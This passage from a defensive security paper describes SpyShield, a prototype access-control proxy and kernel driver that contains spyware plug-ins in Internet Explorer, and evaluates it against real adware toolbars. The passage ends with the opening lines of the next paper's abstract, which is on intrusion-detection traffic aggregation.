is allowed to change its data. User-mode processes are prevented from accessing a host



302 Z. Li, X. Wang, and J.Y. Choi

application’s process image which also includes the reference controller. In addition,
proxy guardian can keep other system resources related to SpyShield, such as DNS
resolver, from being hijacked by spy add-ons, though the same protection can also be
achieved by proper setting of untrusted executables’ privileges through the OS.

Once an attacker manages to get into the kernel, it can directly attack proxy guardian.
Such a threat can be mitigated by intercepting the system calls for loading a kernel
driver to check the legitimacy of the code being loaded. A trusted driver can be identified
by comparing its hash values with those of known reliable code, or verifying a trusted
third party’s signature it carries. This is a reasonable solution because kernel drivers
are not as diverse as user-mode applications. Actually, many of them are standard and
well-known, and their hash values are easy to obtain. This approach, however, cannot
prevent spyware from getting into the kernel through exploiting a legitimate driver’s
vulnerabilities, for example, overrun of a buffer. Countermeasures to this attack must
sit outside the OS, which we plan to study in the future research. Here, we just assume
that kernel drivers are reliable.

Another functionality of proxy guardian is to make the existence of the access-
control proxy transparent to the user and other applications. As an example, SpyShield
can be installed on Windows as a normal plug-in, without changes of other plug-ins’
registry keys; when an IE browser is trying to load untrusted plug-ins, proxy guardian
blocks its system calls and lets the plug-in manager load them instead. This also al-
lows an authorized user to easily turn off the proxy by leaving the loading procedure
unchanged. We can further apply the techniques used by kernel-mode rootkits to ma-
nipulate the interactions between untrusted add-ons and the OS so as to hide the proxy’s
process, which protects it from being detected by spyware.

3 Implementation

To study the effectiveness of SpyShield, we implemented a prototype for Internet Ex-
plorer under Windows XP using C++. The choice of IE as the host application is due
to the fact that the vast majority of known spy add-ons are in the form of IE plug-
ins. However, our design is general, which also works for other applications such as
Mozilla Firefox. In this section, we first present the technical backgrounds of COM and
IE plug-ins, and then describe the details of our implementation.

3.1 IE Plug-in Architecture

COM Interfaces. The Component Object Model (COM) [31] is an extensible object
software architecture for building applications and systems from the modular objects
supplied by different software vendors. An object is a piece of compiled binary code
that exposes some predefined services to COM clients, the service recipients. These
services are offered through a set of COM interfaces, each of which is a strongly-typed
contract between software objects to provide a collection of functions (aka., methods).

COM supports transparent cross-process interoperability which allows a client to
communicate with an object regardless of where it is running. This is achieved through
a system object encapsulating all the “legwork” associated with finding and launching
objects, and managing the communication between them. When a client is accessing
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an object outside its process, COM creates a “proxy” which implements the object’s
interfaces. The “proxy” acts as the object’s deputy by forwarding all the function calls
from the client, marshalling all parameters if necessary and delivering the outcomes of
the calls to the client. The remote process also accommodates a “stub” to mediate the
communications between the “proxy” and the object.

Browser Helper Object and Toolbar. A browser helper object (BHO) is a COM ob-
ject designed to expand the functionality of IE as a plug-in. A BHO object is required
to implement the IUnknown interface, IObjectWithSite and IDispatch if it
needs to subscribe to IE events during runtime. A toolbar is also a COM object serv-
ing as an IE plug-in. Compared with a BHO, it implements more interfaces to provide
more functionalities which include graphics, usually in the form of a tool band, for a
richer display and control for user interactions. A toolbar must carry four interfaces,
IUnknown, IObjectWithSite, IPersistStream and IDeskBand, and may
also involve several other interfaces such as IInputObject for focus changes of a
user input object and IDispatch for event subscription and processing.

3.2 The Access-Control Proxy

We implemented SpyShield as an access control proxy for IE plug-ins. The proxy in-
cludes a reference controller (RC) and an add-on manager (AM), two proxy components
for managing BHOs and toolbars. The reference controller is a special plug-in which
serves as both BHO and toolbar. It also contains an access control module to identify
the sensitive zone being entered and thus to permit or block function calls originated
from the browser and the add-on manager in accordance with security policies. The
add-on manager acts on the behalf of the IE browser to provide COM interfaces to the
untrusted plug-ins and mediate their communications. During the initialization stage,
the browser loads trusted plug-ins and the reference controller only, leaving the task to
import untrusted plug-ins to the add-on manager. This is achieved transparently through
a kernel driver, which we describe in the next subsection. We implemented both one-
process and two-process solutions, though here we only elaborate the second approach
in which the add-on manager is running as a separate process.

Each proxy component contains three COM objects, proxy BHO, proxy toolbar and
proxy browser. Proxy BHO/toolbar exports the COM interfaces on the plug-in’s side to
IE browsers and the reference controller. Proxy browser exports the COM interfaces on
the browser’s side to the add-on manager and untrusted plug-ins. These COM objects
work in a collaborative way: for example, if one of them acquires the access to the
IUnknown interface of an external object such as an IE browser, it passes the pointer
of the interface on to the other objects, which enables them to directly interact with that
external object. The reference controller uses its proxy BHO/toolbar as the delegate
of untrusted plug-ins to interact with browsers, and the add-on manager employs its
proxy browser as a substitute for the browsers to communicate with untrusted plug-
ins. The other COM objects only serve to exchange parameters and requests with their
counterparts in the other proxy object, and therefore are not used in our implementation
of the one-process solution.

In the follow-up subsections, we elaborate our implementation of proxy interfaces,
cross-process communication and access control mechanism.
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Proxy Interfaces. Proxy browser implements a set of COM interfaces that an IE
browser uses to accommodate BHOs and toolbars, and proxy BHO/toolbar adopts the
interfaces on the plug-in’s side. These interfaces ‘wrap’ their counterparts so as to put
access control in place. For example, IE first triggers Invoke() within our proxy’s
IDispatch interface in response to the occurrence of an event, which allows it to
decide whether to contact the same interface of untrusted plug-ins to activate their call-
back functions. Another example is an attempt from a plug-in to read the HTML files
downloaded by IE, which must go through the proxy’s IWebBrowser2 interface and
is therefore subject to its control. The COM objects within our proxy can also simulate
the behaviors of the objects they substitute. As an example, our proxy follows IE’s han-
dling of the QueryInterface() call which does not return to the caller the interface
reference of IInputObjectSite.

A technical challenge to enforcing access control comes from COM functions’ ca-
pability to pass interface pointers. Without a proper design, an untrusted plug-in may
acquire through our proxy a pointer to an IE browser’s interface for directly interacting
with that interface, which bypasses access control. Our solution is to detect such an
attempt within the proxy’s interface functions and returns to the plug-ins the pointers
to the substitutes of the requested IE interfaces. This was implemented in the follow-
ing functions: QueryInterface() in Interface IUnknown, QueryService()
in IServiceProvider, get Document() in IWebBrowser2, and Invoke()
in IDispatch. QueryInterface() is the first function queried by plug-ins about
other interfaces. QueryService() can be used to get the interface pointers of IWeb
Browser2, IOleWindow and ITravelLogStg. Of particular interest is get
Document(), which returns a pointer to a COM object inside IE containing the
documents being downloaded. Our prototype creates a substitute of that object and
selectively copies to it the content of documents in conformation with access rules.
Invoke() adds to the complication by taking an interface pointer of IE’sIDispatch
as part of the input parameters for a plug-in’s callback function. Our proxy parses such
parameters and modifies the pointer to a local substitute.

Table 2 describes the interfaces that we implemented for the access-control proxy.

Cross-process Communications. As we introduced in Section 3.1, COM provides a
mechanism which allows a client to request and receive services from an object running
in another process through the interactions between the object’s “proxy” in the client
process and “stub” in its own process. This was employed by our implementation of

Table 2. Interfaces implemented in our prototype

COMPONENTS INTERFACES

Proxy Browser
IUnknown, IWebBrowser2, IServiceProvider, IOleCommandTarget,
IInputObjectSite, IOleWindow, IConnectionPointContainer, IConnectionPoint,
IWebBrowser2, IOleWindow, ITravelLogStg,
IHTMLDocument2, IOleObject, IConnectionPointContainer, IOleContainer,
IMarkupServices, ICustomDoc, IOleWindow,

Proxy BHO
IUnknown, IObjectWithSite, IDispatch,
IWebBrowser2,

Proxy toolbar
IUnknown, IObjectWithSite, IDispatch, IDeskBand, IPersistStream,
IOleCommandTarget, IInputObject,
IWebBrowser2
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the two-process solution to achieve cross-process communications (CPC). IE 6 offers
the “proxy” and “stub” objects for all interfaces in Table 2 except IInputObject
and IInputObjectSite. The problem has been fixed by IE 7 which provides
iepro xy.dll to support CPC for both interfaces. Interestingly, we found this DLL
can also be used in IE 6. Therefore, our prototype works under both IE versions.

Our two-process solution makes the add-on manager an independent process to ac-
commodate untrusted plug-ins. This design, supported by COM’s multi-threaded CPC,
helps reduce the overheads of our approach in terms of memory usage: no matter how
many IE processes have been launched, the add-on manager always stays in a single
process. This is because COM automatically directs a new IE process’s request to the
existing add-on process which forks a new thread to serve it.

Access Control. The access control component was implemented in the reference con-
troller. Whenever an IE browser visits a new website, the component acquires its URL
from the parameters of invoke triggered by the eventDISPID BEFORENAVIGATE2
and compares it with those defining sensitive zones. If the browser is found to be in
one of the zones, corresponding security policies are applied. Otherwise, the proxy
still needs to check the validity of the URL through a DNS query, as an invalid URL
must also be protected to defeat error-page hijacking. Our prototype sets a default
zone with the security rules in Table 1. To enforce the browser rule, the access-control
proxy blocks IE’s calls to untrusted plug-ins’ invoke function. The plug-in rule was
achieved by blocking the calls to get LocationURL, get Document, Navigate
and Navigate2 from the add-on manager. In addition, our kernel driver also inter-
cepts and blocks the attempts to directly read or write the browser’s virtual memory
from another process.

Our prototype allows an authorized party to easily define a new sensitive zone and
set security policies. It includes an IE toolbar to indicate the sensitivity of the current
website and provide an entrance to policy settings. Through that toolbar, an authorized
user can access a friendly user interface (Figure 2) to view and modify existing sensitive
zones and their policies, as well as add new ones. The simplest way to define a new
zone is just to specify the URL of a sensitive website. The default security policies for
a new zone decline all the requests from an untrusted plug-in whenever the browser
is visiting that URL. To enable the user to set the policies with finer granularity, the
interface offers the options to regulate a variety of channels through which a plug-in
can access or even control the browser. For example, if ‘Browser Hijack Protection’
is enabled, the plug-in will not be allowed to invoke Navigate2 which can be used
to hijack the browser; if ‘Cookie Protection’ is set, the plug-in will be prevented from
calling the COM functions such as get cookie (in IHTMLDocument2) to acquire
the cookie(s) associated with the website being visited.

To prevent spyware from tampering with the security policies, our prototype en-
forces a strict authentication which involves both password and a CAPTCHA. Figure 2
presents a screen snapshot of this mechanism. Such an authentication mechanism will
only be invoked for customizing security policies, which is not supposed to happen
frequently and therefore should not significantly increase users’ burden. The chance
for the setting change could be further reduced through careful construction of default
zones, which can include the URLs of the sensitive websites, such as online banks.
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3.3 Kernel Driver

We implemented proxy guardian as a kernel driver for Windows XP, which is used
to prevent the add-on process from directly accessing the IE process, protect access-
control data such as security policies and the database for trusted plug-ins from being
sabotaged by spyware, and initialize the proxy transparently to avoid changes to IE and
the Windows registry. This was achieved using an API hooking technique [26]. Table 3
lists the system calls hooked in our kernel driver.

Table 3. System calls hooked in our kernel driver

CATEGORY SYSTEM CALL

File system NtWriteFile, NtDeleteFile, NtSetInformationFile
Registry keys and
valuekeys

NtDeleteKey, NtRenameKey, NtReplaceKey, NtRestoreKey, SetInformationKey,
NtSetValueKey, NtDeleteValueKey, NtQueryValueKey

Process, thread NtTerminateProcess, NtTerminateThread
Virtual memory NtAllocateVirtualMemory, NtReadVirtualMemory, NtWriteVirtualMemory

The kernel driver can block the calls from the add-on process which operates on
IE and the reference controller’s virtual memory. System calls to modify the proxy’s
data are permitted only if they come from the proxy’s process. The executables and the
registry entry of the proxy can only be deleted and changed by an uninstaller, a program
which is also protected by the kernel driver and allowed to run by authorized users only.
Such users can revise the setting of the kernel driver, for example, specifying which
files and processes should be under protection. We did not implement the mechanism
to check the drivers to be loaded into the kernel, which can be done by interposing on
other system calls.

The kernel driver can also insert our proxy between IE and untrusted plug-ins without
altering any OS settings. It classifies the BHOs and toolbars recorded in registry entries1

according to their hash values to compile a list of CLSIDs for trusted plug-ins. When an
IE browser attempts to retrieve a plug-in’s registry key, the driver intercepts its system
call NtQueryValueKey and extracts the related CLSID. If it is not on the list, the
driver removes it from the output of the call and notifies the add-on manager to load the
plug-in instead.

4 Evaluations

We evaluated SpyShield using our prototype. Our purpose is to understand the effec-
tiveness of our technique in containing spy add-ons and its overheads. All experiments
were conducted on a desktop with Intel Pentium 3.2GHz CPU and 1GB memory. Its
software includes Windows XP professional, Internet Explorer 7.0 and a vmware work-
station. The effectiveness tests happened inside the virtual machine with a guest OS of

1 Specifically, the registry key for BHOs’ CLSIDs is
\HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser
Helper Objects, two registry keys for toolbars’ CLSIDs are
\HKLM\SOFTWARE\Microsoft\Internet Explorer\Toolbar and
\HKCU\Software\Microsoft\InternetExplorer\Toolbar\WebBrowser

 HKLM SOFTWARE Microsoft Windows CurrentVersion Explorer Browser
Helper
Objects
 HKLM SOFTWARE Microsoft Internet
Explorer Toolbar
 HKCU Software Microsoft Internet
Explorer Toolbar WebBrowser
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Windows XP professional, and Internet Explorer 6.0. The performance of our prototype
was evaluated in the host OS. We elaborate this study in the follow-up subsections.

4.1 Effectiveness

The effectiveness study aims at understanding SpyShield’s ability to withstand spyware
surveillance, which was achieved from the following perspectives. We first compared
spy add-ons’ networking behaviors in an unprotected browser with those under our
prototype. Such behaviors usually constitute spyware’s calling-home activities and con-
tribute to the delivery of stolen data to the perpetrator. Therefore, this study reveals the
effectiveness of our technique in preventing leakage of sensitive information. Then, we
identified the COM events and calls being blocked by our access-control proxy. This
further demonstrates the role SpyShield played in disrupting spyware surveillance, as
these events and calls were used by spy add-ons to access sensitive data within an IE.

We evaluated our prototype using nine real BHOs and toolbars which are listed in
Table 4. Five of them are spy plug-ins and the rest are legitimate. Under SpyShield,
these plug-ins worked properly outside a sensitive zone. This demonstrates that our
design does not disrupt plug-ins’ legitimate operations. In the experiment, we first in-
stalled them to the unprotected IE inside the vmware station, and navigated the IE to
access six websites listed in Table 5. In the host OS, we ran Wireshark [5] (aka. Ethe-
real), a traffic analysis tool, to record all network traffic from the virtual machine. Then,
we activated SpyShield and repeated the above experiment.

To identify the network traffic caused by a plug-in, we recorded baseline, the net-
work traffic observed while surfing these six websites without any plug-in. We also
developed an analysis tool to capture the packets generated by a BHO or a toolbar. This
tool classifies packets according to their destination IP addresses: any address outside
baseline was deemed as coming from a plug-in. Effective suppression of such traffic
within a sensitive zone offers the evidence to the efficacy of our technique.

A problem is that multiple visits of the website with dynamic contents might yield
different network traffic. This could mislead our approach into including legitimate
packets. We tackled this problem through cleaning the output of the tool against a man-
ually compiled list of legitimate destination IP addresses. On the list were 25 addresses,
most of which were from msn and chase.

We also recorded to a log file all the function calls intercepted by proxy interfaces,
which told the story about plug-ins’ activities. For example,Browser Accelerator

Table 4. BHOs and Toolbars used in our experiments

INDEX PLUG-IN TOOLBAR BHO TYPE

1 AvenueMedia/Internet Optimizer No Yes Spyware
2 Browser Accelerator Yes Yes Adware
3 eXactSearch Toolbar Yes Yes Adware
4 Mirar Toolbar Yes Yes Adware
5 UCmore Yes No Adware

6 Google Toolbar Yes Yes Normal
7 LostGoggles No Yes Normal
8 Security Software Search Bar 1.01 Yes Yes Normal
9 Yahoo! Toolbar Yes Yes Normal
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Table 5. Websites used in our experiments. †We visited “http://www.google.com” to re-
trieve “money + saving + account”, keywords interesting to spyware, so as to elicit their network-
ing behaviors. ‡We also included “http://an.invalid.url” in a sensitive zone because it
leads to the DNS error page which is intensively used by spy plug-ins to hijack an IE browser.

Alias URL Sensitive Zone?

bbc http://www.bbc.co.uk NO
msn http://www.msn.com NO
google http://www.google.com NO†

chase http://www.chase.com YES
citi http://www.citi.com YES
invalid http://an.invalid.url YES‡

calls get Document to retrieve an HTML document as soon as a browser downloads
it; this call was blocked by our proxy when the browser was inside a sensitive zone.

Traffic Differential Analysis. We present in Table 6 and Table 7 the results of our
differential analysis of plug-ins’ networking behaviors, which demonstrates the effec-
tiveness of SpyShield in suppressing leakage of sensitive information. Both tables report
plug-ins’ network traffic when an IE browser visiting the URLs in Table 5, with Table 6
for an unprotect IE browser and Table 7 for the browser protected by SpyShield. Among
these URLs, the first three were not in a sensitive zone and the rest were.

The tables show that most spy plug-ins produced network traffic while visiting some
URLs. In the experiment, we observed that the occurrence of such traffic was contingent
on the availability of the information flows from the browser to the plug-ins. Through
examining the content of the traffic, we further discovered that in many cases such
traffic carried the URLs of the websites being visited. Our prototype controlled the plug-
ins’ interactions with the browser, which contributed to curbing such traffic inside the
sensitive zone. Outside the sensitive zone, the traffic recorded in both tables is identical,
which suggests that our prototype did not disrupt the plug-ins’ operations. We elaborate
our analysis of individual plug-ins’ behaviors below.

Table 6. Network traffic from BHOs and toolbars in an unprotected IE browser

Sensitive Zone
Index Plug-in bbc msn google chase citi invalid

1 AvenueMedia/Internet Optimizer - - - - - Exist
2 Browser Accelerator Exist Exist Exist Exist Exist Exist
3 eXactSearch Toolbar - - - - - Exist
4 Mirar Toolbar Exist Exist Exist Exist Exist Exist
5 UCmore Exist Exist Exist Exist Exist Exist

Table 7. Network traffic from BHO/Toolbars under SpyShield. ∗Only part of the traffic in Table 6
was observed, which is irrelevant to the sensitive websites visited.

Sensitive Zone
Index Plug-in bbc msn google chase citi invalid

1 AvenueMedia/Internet Optimizer - - - - - -
2 Browser Accelerator Exist Exist Exist Exist∗ Exist∗ Exist∗

3 eXactSearch Toolbar - - - - - -
4 Mirar Toolbar Exist Exist Exist - - -
5 UCmore Exist Exist Exist - - -

http://www.bbc.co.uk
http://www.msn.com
http://www.google.com
http://www.chase.com
http://www.citi.com
http://an.invalid.url
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Legitimate Plug-ins. Legitimate BHOs and toolbars do not collect information without
users’ consent. Therefore, they should not produce network traffic without being ex-
plicitly invoked, unless there is an agreement between the company distributing these
plug-ins and the customers. In our experiment, we did not observe any networking be-
haviors from all four legitimate plug-ins (Plug-ins with indices 6,7,8,9 in Table 4).

Spyware Plug-ins. Our implementation blocked all events and function calls related to
untrusted plug-ins when the browser was visiting a sensitive website like
‘http://www.chase.com’. This could also affect spy plug-ins’ communication
which serves to deliver the information stolen to the perpetrator. In our experiment, we
did observe the change of their networking behaviors, which are discussed as follows.

– AvenueMedia/Internet Optimizer is a BHO which can hijack a browser
by redirecting it to an advertisement website whenever an invalid URL http://
invalid.url is encountered. The same technique could also be used to stealthily
place a malicious site between the user and a sensitive website for eavesdropping
on their communication. The BHO employs a special technique to detect an invalid
URL: it subscribes to an event DISPID BEFORENAVIGATE2 occurring when a
website is to be accessed, and can therefore use a DNS query to determine the va-
lidity of the URL even before the browser does. Such a trick does not work on
SpyShield, as our approach also hooked that event to identify sensitive zones. In
our experiment, we found that the BHO’s network traffic in response to an invalid
link disappeared under our prototype.

– Browser Accelerator extracts the information from the web page loaded in a
browser and sends it to data.browseraccelerator.com. Under SpyShield,
the packets responsible for such behaviors could not be observed once the browser
was inside the sensitive zone. However, we still detected some packets destined to
client.browseraccelerat or.com which our approach did not eliminate.
We studied the contents of these packets and found them having little bearing on
the sensitive website. Moreover, the same packets were also recorded when the
browser was outside the sensitive zone. This leads us to believe they did not contain
any sensitive information.

– eXactSearchBar also intends to hijack the invalid link. It redirects the browser
to an advertisement site http://www.bestoftheweb.cc/errorpage/
?src=4040&url=an.invalid&url once an error page was loaded. Packets
related to such behaviors did not show up in the sensitive zone when the browser
was protected by SpyShield. Previous research [28] also reported other networking
activities of the spyware, which however were not observed in our experiments.
This might be due to the change of the spyware’s behaviors.

– Mirar collects data from the web page downloaded by a browser and displays ad-
vertisements related to its contents. It also encrypts its network traffic using SSL. In
our experiment, we found its networking behaviors disappeared within the sensitive
zone when SpyShield was running.

– UCmore is a toolbar which forwards the URLs of websites being visited and other
information such as time and cache data of the local host to users.ucmore.com.
This activity was stopped by SpyShield when sensitive websites were being surfed.

http://www.chase.com
http://an.invalid.url
http://an.invalid.url
http://www.bestoftheweb.cc/errorpage/?src=4040&url=an.invalid.url
http://www.bestoftheweb.cc/errorpage/?src=4040&url=an.invalid.url
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Control of Sensitive Events and Malicious Calls. Within a sensitive zone, SpyShield
is designed to block event notifications and function calls in accordance with security
policies. This was evaluated in our experiment through analyzing the log exported by
our prototype which recorded the dangerous behaviors of spy plug-ins being prevented
by the access-control proxy. Here we elaborate this study.

All spy add-ons in our experiment took IE’s IWebBrowser2 interface as an en-
trance to other interfaces, and also made intensive use of it to retrieve a browser’s sen-
sitive data. In addition, most of them subscribed to certain events to trigger the calls for
accomplishing their missions. As an example, we list in Table 8 the COM function calls
of Browser Accelerator invoked by the event DISPID DOCUMENTCOMPLETE
which indicates the completion of downloading a web page to a browser. Another exam-
ple is AvenueMedia/Internet Optimizer which took advantage of the event
DISPID BEFORENAVIGATE2 to identify an invalid link, and then called stop()
and Navigate2to redirect a browser to another website.

Table 8. Function Calls of Browser Accelerator triggered by Event DISPID
DOCUMENTCOMPLETE

Interface Function Call Description

IWebBrowser2 get Document() Retrieve the interface pointer of IDispatch in an IE object for the active
HTML document.

IDispatch QueryInterface() Query the interface pointer of IHTMLDocument2.
IHTMLDocument2 get parentWindow() Retrieve the interface pointer of IHTMLWindow2 in an IE object which accom-

modates the active HTML document.
IHTMLDocument2 QueryInterface() Query the interface pointer of IOleObject.
IOleObject GetClientSite() Get the pointer of an interface which maintains the information regarding the

display location of an embedded object in an active HTML document.
IHTMLDocument2 QueryInterface() Query the interface pointer of ICustomDoc.
ICustomDoc SetUIHandler() Set the pointer of a customized interface.
IWebBrowser2 get LocationURL() Retrieve the URL of the web page that IE is currently displaying.

SpyShield prevented these plug-ins’ malicious activities within a sensitive zone
through blocking all event notifications issued by IE. Without such notifications, func-
tion calls driven by these events disappeared. For example, our prototype intercepted
and denied access to invoke() for 104 events subscribed by UCmore when visit-
ing the website http://www.chase.com, which stopped 6 calls used to collect
information from the site. Though most spy plug-ins were event-driven, we also found
two exceptions which were capable of collecting data from a browser without being
triggered by any event. Specifically, both Mirar and UCmore spawned threads once
initialized and used them to periodically poll the function get LocationURL() for
the URL to be visited. This malicious behavior was blocked by our prototype with the
plug-in rule in Table 1.

4.2 Overheads

We also studied the overheads introduced by SpyShield through experimentally evalu-
ating the performance of plug-ins under our implementation (including the prototypes
for both one-process and two-process solutions) against those running inside unpro-
tected IE. Our research intends to understand the performance impacts of SpyShield

http://www.chase.com
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from the following perspectives: (1) the overheads of cross-process communications,
(2) the delay of COM function calls through the access-control proxy, (3) the waiting
time of web navigation, a major feature of most IE plug-ins and (4) memory usage
of the proxy. To this end, we conducted multiple experiments and also implemented a
BHO which collaborated with our prototype proxy to record timing information.

Cross-process Communications. In this experiment, we measured the performance of
cross-process communications and compared it with that of in-process communica-
tions. Our experiment involved emitting a message from our proxy through the COM
interface to the BHO which bounced back a response. The round-trip delay during this
process was halved and recorded by the proxy. This experiment was repeated for 1000
times each for the one-process setting in which the BHO and the proxy were inside
the same process, and the two-process setting where the BHO ran in a separate process
and the communication went through CPC. The results are the averages of the delays
recorded in these experiments.

The average latency of CPC observed in the experiments is 177.3μs, almost 1327
times as much as that of in-process communication which is merely 0.1336μs. This
result was echoed by a previous study [6]. Apparently, such a huge overhead could
greatly affect the performance of the plug-ins running in a separate process, and there-
fore put the practicality of our approach in doubt. A close look at the time necessary for
a plug-in to accomplish its missions, however, reveals that communication only plays
a very small role. This suggests that the CPC overhead introduced by SpyShield could
be overshadowed by plug-ins’ other delays, which is confirmed by our studies on cross-
process function calls and web navigation.

Cross-process Function Calls. We evaluated the performance of COM function calls
both within a process and across the process boundary. Our experiments involved five
COM functions extensively used by BHOs and toolbars, which include Invoke and
SetSite on the plug-ins’ side, and get LocationURL, get LocationName,
get Document and Navigate2 on the browser’s side. We used our proxy as a sub-
stitute for IE to invoke a BHO’s function, so as to measure the time for completing that
call. The delays of the calls on the reverse direction, from a plug-in to IE, were tracked
by the BHO. Our experiments were conducted under both the one-process setting for in-
process function calls and the two-process setting for cross-process calls. Figure 3.(A)
describes the experimental results which were averaged over 10 experiments.

From the figure, we can see that the overheads of cross-process calls are not terrible:
the processing time of most of them was between 21.5% and 35.8% longer than that
of their in-process counterparts. The exceptions are SetSite and get Document.
SetSite sends the IUnknown pointer to a plug-in, which involves few other activ-
ities than communicating through the COM interface. Therefore, it is subject to the
strong influence of CPC. Fortunately, the function is only invoked once during a plug-
in’s initialization and does not affect its runtime performance. Instead of CPC, the over-
head for calling get Documentmainly comes from the delay for creating a substitute
for an IE object in the proxy (Section 3.2). It is also one-time cost in most cases, as our
proxy can re-use the substitute for subsequent calls to the function.

Web Navigation. The overhead of SpyShield is usually perceived by the user from
the delay in receiving services from plug-ins. Most of such services require retrieving
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documents from the Internet. As an example, our study shows that web navigation is
involved in at least 80% features of Google Toolbar and 8 out of 9 features of Yahoo!
Toolbar. Therefore, it is important to measure the latency of such a web activity in order
to understand the performance of SpyShield.

In our research, we studied the delay caused by web navigation. Our experiment
was carried out under the following three settings: (1) the BHO directly attached to an
IE browser, (2) the BHO connected to the proxy within the browser’s process and (3)
the BHO and the add-on manager running in a separate process. In all these settings,
the BHO directed the browser to the website http://www.bbc.co.uk by calling
the function Navigate2, and recorded the time between the invocation of that func-
tion and the occurrence of the event DISPID DOCUMENTCOMPLETE which indicates
the completion of the navigation (i.e., all documents in the webpage have been down-
loaded). We repeated the experiment for 6 times under each setting to get the average
latencies reported in Figure 3.(B): the navigation overhead was only 1.65% for the one-
process solution and 22.25% for the two process solution. We believe such overheads
are reasonable given the protection provided by our approach.

Memory Overheads. We also measured the memory overhead introduced by the two-
process solution. The reference controller increased an IE browser’s memory usage by
1MB. The size of the memory allocated to the add-on manager varied with different
plug-ins, which was around 18MB for the google toolbar and 14MB for the Yahoo!
toolbar. On the other hand, we found that a google toolbar directly attached to IE
added 4.8MB to a browser’s process memory. This became 3.3MB for the Yahoo!
toolbar. Therefore, the memory overhead of our prototype ranged from 11MB to 15MB.

Such an overhead is for a single browser window. As we discussed in Section 3.2, the
add-on manager running in a separate process can provide services to multiple browser
windows by spawning service threads. In our experiment, we observed that launching a
new IE window only cost the add-on manager 0.1 to 0.5MB, depending on the plug-
in being requested. This is much lower than the memory cost of creating a new plug-in
instance, which is necessary if the plug-in is directly attached to IE instead of the proxy.

5 Discussions

In this section, we discuss the limitations of the current design and implementation of
SpyShield, and the potential improvement.

http://www.bbc.co.uk
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Limitations of Design. The current design of SpyShield is specific to the containment
of spy add-ons. The user’s interactions with sensitive data are still subject to the surveil-
lance of keyloggers which intercept keystroke inputs, and screen grabbers which snoop
on screen outputs. To defeat these attacks, we need to extend SpyShield to include
system-wide security policies and an enforcement mechanism which prevents sensitive
information from flowing into untrusted objects. Development of such a technique is
part of our future research.

Although SpyShield can prevent spyware from being loaded into the kernel through
system calls, it is unable to fend off the attacks through a kernel driver’s vulnerabilities,
for example, buffer overrun. When this happens, we rely on other techniques [16] to
protect the kernel.

Limitations of Implementation. The current implementation of SpyShield applies the
same security policies to the whole window object. This becomes problematic when a
frame object is displaying multiple web pages in different zones within one window. A
quick solution is to enforce the strictest policies of these zones. A better approach, how-
ever, should work on individual web page and treat them differently. Such functionality
is expected in the future improvement of the prototype.

For simplicity, we only wrapped the COM interfaces requested by all the toolbars
and BHOs used in our experiments. A thorough implementation needs to create all
documented interfaces both in the reference controller and the add-on manager to ac-
commodate different kinds of plug-ins.

6 Related Work

Existing defense against spyware infections mainly relies on detection techniques. These
techniques are either based on signatures or behaviors, which we survey as follows.

Signature-based approaches analyze binary executables to identify spyware compo-
nents or scan network traffics to detect spyware’s communications with the perpetra-
tor [2,10,23]. These approaches are fast, but can only detect known spyware. They can
also be easily evaded [24]. Behavior-based approaches detect spyware according to its
behaviors. Siren [13] and NetSpy [28] analyze the difference between the network traf-
fic from an infected system and that of a clean system to identify spyware’s networking
activities. Web Tap [12] runs an network-based anomaly detector to capture spyware’s
network traffic. Gatekeeper [29] monitors the changes of Windows auto-start extensi-
bility points for detecting spyware. GhostBuster [30] exposes rootkits by comparing a
view of a clean system with that of an infected system. Recently, Kirda, et al proposed
a technique [19] which applies dynamic analysis to detect suspicious communications
between an IE browser and its plug-ins, and then analyzes the binaries of suspicious
plug-ins to identify the library calls which may lead to leakage of sensitive informa-
tion. SpyShield complements these techniques by adding an additional layer of defense
which protects the user’s privacy even after the detection mechanisms have been com-
promised.

Most of the existing proposals for spyware containment have been limited to protect-
ing confidential inputs such as passwords from keyloggers. Bump in the Ether [21] of-
fers a mechanism which bypasses common avenues of attack through a trusted
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tunnel implemented using a mobile device. SpyBlock [17] evades the surveillance of
the keyloggers inside a virtual machine by directly injecting users’ passwords into the
network traffic intercepted by the host. These approaches are not very effective to spy-
ware add-ons which are already part of their host application and can not only directly
access its sensitive inputs but also snoop on its sensitive outputs such as the bank ac-
count displayed in a browser. In addition, they need either additional hardware (mobile
device) or heavyweight software (a virtual machine). Microsoft’s Next-Generation Se-
cure Computing Base proposes encrypting keyboard, mouse input, and video output [8].
Though a promising approach, it significantly modifies current operating systems and
its practicality is yet to see. By comparison, SpyShield is fully compatible with existing
systems and can be easily installed and removed.

Similar to the two-process solution of SpyShield, privilege separation [25] parti-
tions a program into a monitor to handle privileged operations, and a slave to perform
unprivileged operations. Program partition is traditionally done manually over source
code. Recent research, however, has made an impressive progress on automating this
step [14]. While apparently assuming the same architecture, SpyShield actually aims at
a different goal, inhibiting sensitive information from flowing into untrusted add-ons.
To this end, it needs not only to segregate the privileged part of the program from the
unprivileged part, but also to enforce security policies to their communication chan-
nel, the add-on interfaces, so as to regulate the information exchange between them. In
addition, SpyShield separates a binary executable from its binary add-ons along their
interfaces while privilege separation usually works on source code.

Another proposal which also employs the two-process architecture for privacy pro-
tection is data sandboxing [18]. The approach partitions a program into a private part
which is allowed to access local files but forbidden to make network connections, and
a public part which is permitted to perform networking activities but disallowed to read
local data. Such a policy is enforced through system-call interposition [18]. In con-
trast, SpyShield aims at control of the communications through add-on interfaces, a
task which system calls may not have sufficient granularity to handle.

Information flow analysis started with the famous Bell-LaPadula model which con-
trols the interactions between processes and files [11]. More recent work [22,32] fo-
cused on tracing data flows within a program. By comparison, SpyShield does not work
on such instruction-level tracing, which incurs large performance overheads in absence
of source code, and instead manages the information flows across the boundary between
add-ons and their host application.

7 Conclusions and Future Work

In this paper, we propose SpyShield, a novel spyware containment technique, which can
automatically block the visions of untrusted programs in the presence of sensitive infor-
mation. Such a technique can also defeat the surveillance of new strains of spyware. As
a first step, our approach offers general protection against spy add-ons which constitute
a significant portion of existing spyware infections. SpyShield enforces security poli-
cies to add-on interfaces and other channels used by add-ons to interact with their host
applications, so as to prevent sensitive information from flowing into untrusted add-ons.
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It can also defend itself against a variety of attacks. We implemented a prototype for
protecting Internet Explorer and empirically evaluated its efficacy. Our experimental
studies show that this technique can effectively mitigate the threats of spyware surveil-
lance and also introduces a small overhead.
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Abstract. We present a novel approach to remote traffic aggregation for
Network Intrusion Detection Systems (NIDS) called Cooperative Selec-
tive Wormholing (CSW). Our approach works by selectively aggregating
traffic bound for unused network ports on a volunteer’s commodity PC.
CSW could enable NIDS operators to cheaply and efficiently monitor
